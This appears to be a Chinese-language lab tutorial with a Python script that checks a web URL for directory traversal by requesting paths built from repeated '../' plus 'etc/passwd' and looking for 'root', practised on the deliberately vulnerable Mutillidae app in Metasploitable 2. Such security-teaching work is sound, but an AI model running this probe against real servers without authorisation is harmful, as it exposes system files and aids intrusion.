利用Python实现目录遍历漏洞的发现工具
本代码实验所用的目标应用为metasploitable 2的Multillidae。核心思想是看是否可以请求到Linux系统中都会存在的/etc/passwd文件,而且该文件中必然会有root字段。
1 import optparse 2 import requests 3 import sys 4 5 class DirectoryTraversal: 6 def __init__(self) -> None: 7 self.url = self.url_prefix_formatter(self.get_params()) 8 self.headers = { 9 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0' 10 } 11 12 def get_params(self): 13 parser = optparse.OptionParser('Usage: < Program > -u url ') 14 parser.add_option('-u', '--url', dest='url', type='string', help='Specify url to detect') 15 options, args = parser.parse_args() 16 if options.url is None: 17 print(parser.usage) 18 sys.exit() 19 return options.url 20 21 def url_prefix_formatter(self, url): 22 if url.startswith('http://'): 23 return url 24 elif url.startswith('https://'): 25 return url 26 else: 27 return 'http://' + url 28 29 def retrieve_webpage(self, url): 30 try: 31 response = requests.get(url=url, headers=self.headers) 32 if response.status_code == 200: 33 return response.text 34 except Exception as e: 35 pass 36 37 def run(self): 38 flag = False 39 upward = '../' 40 for i in range(7): 41 url = self.url +str(i*upward)+'etc/passwd' 42 43 response = self.retrieve_webpage(url) 44 if response: 45 if 'root' in response: 46 print("Found directory traversal vulnerability:\t", url) 47 flag = True 48 sys.exit() 49 50 if flag == False: 51 print("Failed to detect directory tranversal vulnerability") 52 53 if __name__ == '__main__': 54 dir_obj = DirectoryTraversal() 55 dir_obj.run()
STRIVE FOR PROGRESS,NOT FOR PERFECTION